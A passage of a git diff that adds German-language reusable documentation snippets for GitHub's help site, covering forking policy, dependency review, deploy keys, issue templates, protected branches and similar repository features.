+- Du bist dafür verantwortlich, dass die Personen, denen du den Zugriff auf ein Repository entziehst, vertrauliche Informationen oder geistiges Eigentum von ihren Systemen löschen.
+
+- Personen mit Administratorberechtigungen für ein privates{% ifversion ghes or ghae or ghec %} oder internes{% endif %} Repository können das Forken dieses Repositorys unterbinden, und Organisationsbesitzer können das Forken jedes privaten{% ifversion ghes or ghae or ghec %} oder internen{% endif %} Repositorys in einer Organisation unterbinden. Weitere Informationen findest du unter [Verwalten der Forkingrichtlinie für deine Organisation](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) und [Verwalten der Forkingrichtlinie für dein Repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository).
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/repositories/dependency-review.md b/translations/de-DE/data/reusables/repositories/dependency-review.md
new file mode 100644
index 0000000000..7ed4ebdb6b
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/dependency-review.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c1e28a929a201082b49e4b2327e53c5ddb352769
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147060979"
+---
+Darüber hinaus kann {% data variables.product.prodname_dotcom %} jegliche Abhängigkeiten, die in einem Pull Request dem Standardbranch eines Repositorys hinzugefügt, darin aktualisiert oder daraus entfernt werden, überprüfen und alle Änderungen markieren, die die Sicherheit deines Projekts beeinträchtigen könnten. So kannst du gefährliche Abhängigkeiten{% ifversion GH-advisory-db-supports-malware %} oder Malware{% endif %} erkennen und behandeln, bevor sie deine Codebasis erreichen, und nicht erst danach. Weitere Informationen findest du unter [Überprüfen von Abhängigkeitsänderungen in einem Pull Request](/github/collaborating-with-issues-and-pull-requests/reviewing-dependency-changes-in-a-pull-request).
diff --git a/translations/de-DE/data/reusables/repositories/deploy-keys-write-access.md b/translations/de-DE/data/reusables/repositories/deploy-keys-write-access.md
new file mode 100644
index 0000000000..dd2dabd8ae
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/deploy-keys-write-access.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9ec91690d5d51a8412c5944560fce87a4f835a30
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879259"
+---
+Durch die Bereitstellung von Schlüsseln mit Schreibzugriff können dieselben Aktionen durchgeführt werden wie von einem Organisationsmitglied mit Administratorzugriff oder einem Mitarbeiter in einem persönlichen Repository. Weitere Informationen findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) und unter [Berechtigungsebenen für ein Repository in einem persönlichen Konto](/articles/permission-levels-for-a-user-account-repository/).
diff --git a/translations/de-DE/data/reusables/repositories/deploy-keys.md b/translations/de-DE/data/reusables/repositories/deploy-keys.md
new file mode 100644
index 0000000000..595c8025c5
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/deploy-keys.md
@@ -0,0 +1 @@
+You can launch projects from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to your server by using a deploy key, which is an SSH key that grants access to a single repository. {% data variables.product.product_name %} attaches the public part of the key directly to your repository instead of a personal account, and the private part of the key remains on your server. For more information, see "[Delivering deployments](/rest/guides/delivering-deployments)."
diff --git a/translations/de-DE/data/reusables/repositories/desktop-fork.md b/translations/de-DE/data/reusables/repositories/desktop-fork.md
new file mode 100644
index 0000000000..47722365c3
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/desktop-fork.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4c7bd0a1e9ded52e8cf8ffb83665f27c8d7dd25d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105735"
+---
+Du kannst {% data variables.product.prodname_desktop %} verwenden, um ein Repository zu forken. Weitere Informationen findest du unter [Klonen und Forken von Repositorys aus {% data variables.product.prodname_desktop %}](/desktop/contributing-to-projects/cloning-and-forking-repositories-from-github-desktop).
diff --git a/translations/de-DE/data/reusables/repositories/disabling-markdown-rendering.md b/translations/de-DE/data/reusables/repositories/disabling-markdown-rendering.md
new file mode 100644
index 0000000000..7a28f05958
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/disabling-markdown-rendering.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: bf6caabe58fb5a08c9a0c42dc8b53273f06259be
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145090673"
+---
+Wenn du eine Markdowndatei anzeigst, kannst du oben in der Datei auf {% octicon "code" aria-label="The code icon" %} klicken, um das Rendern von Markdown zu deaktivieren und stattdessen den Quelltext der Datei anzuzeigen.
+
+![Anzeigen von Markdown als Quelle](/assets/images/help/writing/display-markdown-as-source.png)
+
+Durch das Deaktivieren des Markdownrenderings kannst du die Funktionen der Quellenansicht nutzen, wie z. B. Zeilenverknüpfungen, die beim Anzeigen von gerenderten Markdowndateien nicht verfügbar sind.
diff --git a/translations/de-DE/data/reusables/repositories/edit-file.md b/translations/de-DE/data/reusables/repositories/edit-file.md
new file mode 100644
index 0000000000..38dbfd3e23
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/edit-file.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 83794dff865278e3138079ec1ee6d9862ee18a8e
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879283"
+---
+1. Klicke zum Öffnen des Datei-Editors oben rechts in der Dateiansicht auf {% octicon "pencil" aria-label="The edit icon" %}.
+
+   ![Schaltfläche „Datei bearbeiten“](/assets/images/help/repository/edit-file-edit-button.png)
+
+   {% ifversion githubdev-editor -%} {% note %}
+
+   **Hinweis**: Anstatt die Datei mit dem standardmäßigen Datei-Editor zu bearbeiten und zu committen, kannst du optional den [Code-Editor von github.dev](/codespaces/the-githubdev-web-based-editor) verwenden, indem du auf das Dropdownmenü neben {% octicon "pencil" aria-label="The edit icon" %} klickst und **In github.dev öffnen** auswählst.
+
+   ![Schaltfläche „Datei bearbeiten“ im Dropdownmenü](/assets/images/help/repository/edit-file-edit-dropdown.png)
+
+   {% endnote %} {%- endif %}
diff --git a/translations/de-DE/data/reusables/repositories/edited-comment-list.md b/translations/de-DE/data/reusables/repositories/edited-comment-list.md
new file mode 100644
index 0000000000..2bc7b2ead5
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/edited-comment-list.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: eeed6c9c1e546745d9526c2dd5c253b7ac1d7a50
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090672"
+---
+2. Klicke oben im Kommentar auf **bearbeitet**, um den Bearbeitungsverlauf zu öffnen.
+
+      {% note %}
+
+      **Hinweis**: Wenn die Option **bearbeitet** nicht angezeigt wird, liegt für den Kommentar kein Bearbeitungsverlauf vor.
+
+      {% endnote %}
+
+3. Um die Details einer bestimmten Änderung anzuzeigen, wähle sie aus der Liste der Bearbeitungen.
+  ![Anzeigen von Bearbeitungsdetails für Kommentar](/assets/images/help/repository/choose-comment-edit-to-expand.png)
diff --git a/translations/de-DE/data/reusables/repositories/enable-security-alerts.md b/translations/de-DE/data/reusables/repositories/enable-security-alerts.md
new file mode 100644
index 0000000000..ff83465bcd
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/enable-security-alerts.md
@@ -0,0 +1,3 @@
+{% ifversion ghes or ghae %}
+Enterprise owners must enable {% data variables.product.prodname_dependabot_alerts %} for {% data variables.location.product_location %} before you can use this feature. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
+{% endif %}
diff --git a/translations/de-DE/data/reusables/repositories/git-lfs.md b/translations/de-DE/data/reusables/repositories/git-lfs.md
new file mode 100644
index 0000000000..a7d0060f80
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/git-lfs.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f8247d698d2b9a9be09d2dcf8e0492355a377204
+ms.sourcegitcommit: 06726d24e73f1175f10749d6fdcf143d6094c9a5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/28/2022
+ms.locfileid: "148118745"
+---
+Wenn du den Grenzwert von 5 GB überschreitest, werden alle dem Repository hinzugefügten neuen Dateien automatisch von Git LFS abgelehnt.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/repositories/github-reviews-security-advisories.md b/translations/de-DE/data/reusables/repositories/github-reviews-security-advisories.md
new file mode 100644
index 0000000000..9dd32f690a
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/github-reviews-security-advisories.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: af93e8779411bd193314c306cc7c1a3c100e83c7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146455693"
+---
+{% data variables.product.prodname_dotcom %} überprüft jede veröffentlichte Sicherheitsempfehlung, fügt sie der {% data variables.product.prodname_advisory_database %} hinzu und verwendet sie möglicherweise zum Senden von {% data variables.product.prodname_dependabot_alerts %} an betroffene Repositorys. Wenn der Sicherheitshinweis von einer Fork kommt, senden wir nur dann eine Warnung, wenn der Fork ein Paket besitzt, das unter einem eineindeutigen Namen in einem öffentlichen Paket-Registry veröffentlicht wurde. Dieser Prozess kann bis zu 72 Stunden dauern und {% data variables.product.prodname_dotcom %} kann Dich für weitere Informationen kontaktieren.
+
+Weitere Informationen zu {% data variables.product.prodname_dependabot_alerts %} findest du unter [Informationen zu {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies) und [Informationen zu {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-dependabot-security-updates). Weitere Informationen zur {% data variables.product.prodname_advisory_database %} findest du unter [Durchsuchen von Sicherheitsempfehlungen in der {% data variables.product.prodname_advisory_database %}](/github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database).
diff --git a/translations/de-DE/data/reusables/repositories/github-security-lab.md b/translations/de-DE/data/reusables/repositories/github-security-lab.md
new file mode 100644
index 0000000000..fc87c8b96e
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/github-security-lab.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 61c52e7cad3817f9c9a345fd81442a0215b252cf
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105712"
+---
+Du kannst auch [{% data variables.product.prodname_security %}]({% data variables.product.prodname_security_link %}) beitreten, um sicherheitsbezogene Themen zu durchsuchen und zu Sicherheitstools und Projekten beizutragen. 
diff --git a/translations/de-DE/data/reusables/repositories/initialize-with-readme.md b/translations/de-DE/data/reusables/repositories/initialize-with-readme.md
new file mode 100644
index 0000000000..c56d8f30a1
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/initialize-with-readme.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ac10b57f4bd073f8744051966950ce350a8f10bc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090666"
+---
+1. Aktivieren Sie das Kontrollkästchen **Initialize this repository with a README** (Dieses Repository mit einer README-Datei initialisieren).
+  ![Dieses Repository mit einer README-Datei initialisieren](/assets/images/help/repository/initialize-with-readme.png)
diff --git a/translations/de-DE/data/reusables/repositories/internal-repo-default.md b/translations/de-DE/data/reusables/repositories/internal-repo-default.md
new file mode 100644
index 0000000000..c91e9ea36a
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/internal-repo-default.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ce7ca5fa72b7cdeff8143015eb70df2c2db915a2
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105711"
+---
+{% ifversion fpt or ghec %} Interne Repositorys sind die Standardeinstellung für alle neuen Repositorys, die in einer Organisation erstellt werden, die zu einem Unternehmenskonto gehört.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/repositories/issue-template-config.md b/translations/de-DE/data/reusables/repositories/issue-template-config.md
new file mode 100644
index 0000000000..e018c8b4d9
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/issue-template-config.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a46e7a56eeea109b0b86d6f0e3d98cd0ad390aaa
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881381"
+---
+Du kannst die Issuevorlagenauswahl anpassen, die beim Erstellen eines neuen Issues in deinem Repository angezeigt wird, indem du dem Ordner `.github/ISSUE_TEMPLATE` eine *config.yml*-Datei hinzufügst.
diff --git a/translations/de-DE/data/reusables/repositories/legacy-issue-template-tip.md b/translations/de-DE/data/reusables/repositories/legacy-issue-template-tip.md
new file mode 100644
index 0000000000..beb47b2a40
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/legacy-issue-template-tip.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 35f3d6f56d4221c6debf8853a0ad23af85baf0eb
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105708"
+---
+
+{% warning %}
+
+Dies ist der Legacy-Workflow zum Erstellen einer Issuevorlage. Wir empfehlen, den aktualisierten Vorlagen-Generator für mehrere Issues oder aber Issueformulare zu verwenden, um Issuevorlagen zu erstellen. Weitere Informationen findest du unter [Informationen zu Vorlagen für Issues und Pull Requests](/articles/about-issue-and-pull-request-templates).
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/repositories/list-closed-pull-requests.md b/translations/de-DE/data/reusables/repositories/list-closed-pull-requests.md
new file mode 100644
index 0000000000..2f4c1701ab
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/list-closed-pull-requests.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: bb5d107334ea420c79fde5e4c1b9a7091d9692ff
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884285"
+---
+1. Klicke auf **Geschlossen**, um eine Liste der geschlossenen Pull Requests anzuzeigen.
+  ![Registerkarte „Geschlossen“](/assets/images/help/branches/branches-closed.png)
diff --git a/translations/de-DE/data/reusables/repositories/merge-all-pulls-together.md b/translations/de-DE/data/reusables/repositories/merge-all-pulls-together.md
new file mode 100644
index 0000000000..bca53870de
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/merge-all-pulls-together.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 72316a539340e592fb5ccbd4e3d481a47c31694f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105707"
+---
+Du kannst individuelle Pull Requests nicht in einer temporären, privaten Fork zusammenführen. Stattdessen führst Du alle offenen Pull Requests gleichzeitig im entsprechenden Sicherheitshinweis zusammen.
diff --git a/translations/de-DE/data/reusables/repositories/navigate-to-branches.md b/translations/de-DE/data/reusables/repositories/navigate-to-branches.md
new file mode 100644
index 0000000000..a3092dc74f
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/navigate-to-branches.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ac6f9c21b3c6d5c1effdea69a7d857a11d6a1555
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146339946"
+---
+1. Klicke oberhalb der Liste der Dateien auf {% octicon "git-branch" aria-label="The branch icon" %} **Branches**.
+    ![Branchlink auf der Übersichtsseite](/assets/images/help/branches/branches-overview-link.png)
diff --git a/translations/de-DE/data/reusables/repositories/navigate-to-code-security-and-analysis.md b/translations/de-DE/data/reusables/repositories/navigate-to-code-security-and-analysis.md
new file mode 100644
index 0000000000..c1a1e6dfef
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/navigate-to-code-security-and-analysis.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Security" section of the sidebar, click **{% octicon "codescan" aria-label="code security and analysis icon" %} Code security and analysis**.
+{% else %}
+1. In the left sidebar, click **Security & analysis**.
+  !["Security & analysis" tab in repository settings](/assets/images/help/repository/security-and-analysis-tab.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/repositories/navigate-to-commit-page.md b/translations/de-DE/data/reusables/repositories/navigate-to-commit-page.md
new file mode 100644
index 0000000000..d712c518b8
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/navigate-to-commit-page.md
@@ -0,0 +1,2 @@
+1. On the main page of the repository, click {% octicon "history" aria-label="The history icon" %} **commits** to navigate to the commits page.
+   ![Screenshot of the repository main page with the commits emphasized](/assets/images/help/commits/commits-page.png) 
diff --git a/translations/de-DE/data/reusables/repositories/navigate-to-ghas-settings.md b/translations/de-DE/data/reusables/repositories/navigate-to-ghas-settings.md
new file mode 100644
index 0000000000..62cede683e
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/navigate-to-ghas-settings.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fd68e5c3eb93c82ed7b757050c6e2cb897859243
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881373"
+---
+1. Suche unter „Codesicherheit und Analyse“ {% data variables.product.prodname_GH_advanced_security %}".
diff --git a/translations/de-DE/data/reusables/repositories/navigate-to-job.md b/translations/de-DE/data/reusables/repositories/navigate-to-job.md
new file mode 100644
index 0000000000..8905142963
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/navigate-to-job.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 508d169c493eec7a3272992143b886329e1c3300
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145090624"
+---
+1. Wähle unter **Aufträge** oder im Visualisierungsdiagramm den Auftrag aus, den du anzeigen möchtest.
+
+   ![Lint-Codebasis-Auftrag](/assets/images/help/repository/superlinter-lint-code-base-job-updated.png)
diff --git a/translations/de-DE/data/reusables/repositories/navigate-to-manage-access.md b/translations/de-DE/data/reusables/repositories/navigate-to-manage-access.md
new file mode 100644
index 0000000000..4e6a69cb25
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/navigate-to-manage-access.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 418bd5e52c0305a06d34b3386a7df95a007e5587
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105699"
+---
+1. Klicke auf der linken Randleiste auf **Zugriff verwalten**.
+  ![Registerkarte „Zugriff verwalten“](/assets/images/help/repository/manage-access-tab.png)
diff --git a/translations/de-DE/data/reusables/repositories/navigate-to-repo.md b/translations/de-DE/data/reusables/repositories/navigate-to-repo.md
new file mode 100644
index 0000000000..6069ceab1f
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/navigate-to-repo.md
@@ -0,0 +1 @@
+1. On {% data variables.location.product_location %}, navigate to the main page of the repository.
diff --git a/translations/de-DE/data/reusables/repositories/navigate-to-workflow.md b/translations/de-DE/data/reusables/repositories/navigate-to-workflow.md
new file mode 100644
index 0000000000..d7f1f09cb8
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/navigate-to-workflow.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2ec0579c9c0d77746c0328256925f5089284e08d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105695"
+---
+1. Klicke in der linken Seitenleiste auf den Workflow, den Du sehen willst.
+  ![Workflowliste in der linken Randleiste](/assets/images/help/repository/superlinter-workflow-sidebar.png)
diff --git a/translations/de-DE/data/reusables/repositories/new-pull-request.md b/translations/de-DE/data/reusables/repositories/new-pull-request.md
new file mode 100644
index 0000000000..bfe9b3a301
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/new-pull-request.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 6bb64c3e58eb1a5c59d7d7c2e80f9fdfa561b713
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145090618"
+---
+1. Klicke oberhalb der Liste der Dateien auf {% octicon "git-pull-request" aria-label="The pull request icon" %} **Pull Request**.
+  ![Link „Pull Request“ oberhalb der Liste der Dateien](/assets/images/help/pull_requests/pull-request-start-review-button.png)
diff --git a/translations/de-DE/data/reusables/repositories/new_issue.md b/translations/de-DE/data/reusables/repositories/new_issue.md
new file mode 100644
index 0000000000..b2900dfb2a
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/new_issue.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a56878bfceba58a3b53ab250ba88dcd3f70fcf9f
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879083"
+---
+1. Klicke auf **Neues Issue**.
+  ![Schaltfläche „Neues Issue“](/assets/images/help/issues/new_issues_button.png)
diff --git a/translations/de-DE/data/reusables/repositories/open-with-github-desktop.md b/translations/de-DE/data/reusables/repositories/open-with-github-desktop.md
new file mode 100644
index 0000000000..eb0409ac4e
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/open-with-github-desktop.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: ff081585ba5cabe8fdbe198443abe8be048e429f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145090613"
+---
+1. Klicke oberhalb der Liste der Dateien auf {% octicon "download" aria-label="The download icon" %} **Code**.
+  ![Schaltfläche „Code“](/assets/images/help/repository/code-button.png)
+1. Klicke auf {% octicon "desktop-download" aria-label="The GitHub Desktop download icon" %} **Mit {% data variables.product.prodname_desktop %} öffnen**, um das Repository zu klonen und mit {% data variables.product.prodname_desktop %} zu öffnen.
+  ![Schaltfläche „Mit {% data variables.product.prodname_desktop %} öffnen“](/assets/images/help/repository/open-with-desktop.png)
diff --git a/translations/de-DE/data/reusables/repositories/owner-drop-down.md b/translations/de-DE/data/reusables/repositories/owner-drop-down.md
new file mode 100644
index 0000000000..1bff7ad124
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/owner-drop-down.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 196be9f6ff23fa242f7f1a0c180ce77409bd6ce0
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882835"
+---
+1. Verwende das Dropdownmenü **Besitzer**, und wähle das Besitzerkonto für das Repository aus.
+   ![Dropdownmenü „Besitzer“](/assets/images/help/repository/create-repository-owner.png)
diff --git a/translations/de-DE/data/reusables/repositories/permissions-statement-read.md b/translations/de-DE/data/reusables/repositories/permissions-statement-read.md
new file mode 100644
index 0000000000..3bcac6d277
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/permissions-statement-read.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4bf0e891c7d11aafef5cfe151ac8618bec40c3f2
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090612"
+---
+Um diese Schritte auszuführen, ist Lesezugriff auf das Repository erforderlich.
diff --git a/translations/de-DE/data/reusables/repositories/permissions-statement-write.md b/translations/de-DE/data/reusables/repositories/permissions-statement-write.md
new file mode 100644
index 0000000000..179ae1ec63
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/permissions-statement-write.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c295750d09495f1ffb812661b6b92cf202e9c740
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879913"
+---
+Um diese Schritte auszuführen, ist Schreibzugriff auf das Repository erforderlich.
diff --git a/translations/de-DE/data/reusables/repositories/pr-title-description.md b/translations/de-DE/data/reusables/repositories/pr-title-description.md
new file mode 100644
index 0000000000..fddd691bff
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/pr-title-description.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 9ccce14ff4e4f7d9315a1ff07b9a9260f4b66045
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090582"
+---
+1. Gib einen Titel und eine Beschreibung für Deinen Pull Request ein.
+![Felder für Pull Request-Titel und -Beschreibung](/assets/images/help/pull_requests/pullrequest-description.png)
diff --git a/translations/de-DE/data/reusables/repositories/private_forks_inherit_permissions.md b/translations/de-DE/data/reusables/repositories/private_forks_inherit_permissions.md
new file mode 100644
index 0000000000..9f5db79e02
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/private_forks_inherit_permissions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 45674d15c03f99fb0dc936923880c2d000dfbb49
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881365"
+---
+Private Forks übernehmen die Berechtigungsstruktur des vorgelagerten oder übergeordneten Repository. Dies hilft den Inhabern privater Repositorys, die Kontrolle über ihren Code zu behalten. Wenn das vorgelagerte Repository beispielsweise privat ist und einem Team Lese-/Schreibzugriff gibt, wird dasselbe Team Lese-/Schreibzugriff auf alle Forks des privaten vorgelagerten Repository haben. Nur Teamberechtigungen (nicht einzelne Berechtigungen) werden von privaten Forks geerbt.
diff --git a/translations/de-DE/data/reusables/repositories/protected-branches-block-web-edits-uploads.md b/translations/de-DE/data/reusables/repositories/protected-branches-block-web-edits-uploads.md
new file mode 100644
index 0000000000..0d6f486a1c
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/protected-branches-block-web-edits-uploads.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: d17db880abec30208e0a5b5150e6a18c3030e6f7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090577"
+---
+Wenn ein Repository geschützte Branches hat, kannst Du mit {% data variables.product.prodname_dotcom %} keine Dateien im geschützten Branch verändern oder hochladen. Weitere Informationen findest du unter [Informationen zu geschützten Branches](/articles/about-protected-branches).
+
+Du kannst {% data variables.product.prodname_desktop %} verwenden, um deine Änderungen in einen neuen Branch zu verschieben und zu committen. Weitere Informationen findest du unter [Committen und Überprüfen von Änderungen an deinem Projekt](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project).
diff --git a/translations/de-DE/data/reusables/repositories/reaction_list.md b/translations/de-DE/data/reusables/repositories/reaction_list.md
new file mode 100644
index 0000000000..7501b69635
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/reaction_list.md
@@ -0,0 +1,50 @@
+---
+ms.openlocfilehash: 8f28524c93f8811af32da6046c8bc2597743c2ff
